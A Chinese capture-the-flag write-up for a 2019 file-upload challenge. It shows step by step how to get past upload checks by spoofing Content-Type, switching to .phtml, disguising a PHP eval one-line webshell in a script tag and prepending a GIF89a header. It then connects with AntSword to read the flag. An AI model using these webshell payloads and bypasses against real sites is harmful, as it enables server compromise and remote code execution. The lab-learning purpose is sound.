[极客大挑战 2019]Upload 1
进去就是个文件选择框, 先上传个头像上去看看, 用BP抓包


正常上传,
下面我们新建个test.php
一句话木马文件并上传试试
1 | eval($_REQUEST["shell"]) @ |


显然是不行的, 被识别出来了,
用BP抓包改Content-Type
为image/jpeg
看看能不能骗过去

错误提示变了,但还是传不上去, 推测可能是文件后缀检测,
可以采用其他后缀绕过,
常见的后缀有php*(如php2, php3), pht, phtm, phtml, phps
等
我们试试把后缀改成phtml
试试
注意: 有的后缀即使上传上去了也不能被执行, 取决于服务端配置

错误变了, 说明改后缀是对的, 但是这次又遇到新的检测.
让代码里不包含<?
, 只需要换个形式的一句话木马即可:
1 | <script langage="php">@eval(@_REQUEST);</script> |

错误又变了, 被检测到不是图像文件, 检测文件类型很有可能根据文件头了, 我们试着给一句话木马加上一个图像文件的文件头绕过检测
常见的图片文件头
- JPG :FF D8 FF E0 00 10 4A 46 49 46
- GIF(相当于文本的GIF89a):47 49 46 38 39 61
- PNG: 89 50 4E 47
1 | GIF89a |
GIF的文件头最容易添加, 所以这里我们采用它, 其他文件的文件头要利用010 Editor这种十六进制编辑器来进行操作, 不方便

一句话木马成功上传了上去, 猜测上传的文件放在upload文件夹中, 试着访问一下执行个指令

成功执行, 接下来为了方便操作, 省去手工使用指令的麻烦,
使用中国菜刀
和中国蚁剑
之类的软件连接webshell
,
这里我使用中国蚁剑
.

成功连接, 接下来我们只需要找到flag即可, 通过翻查文件目录, 发现flag文件就在根目录

任务完成~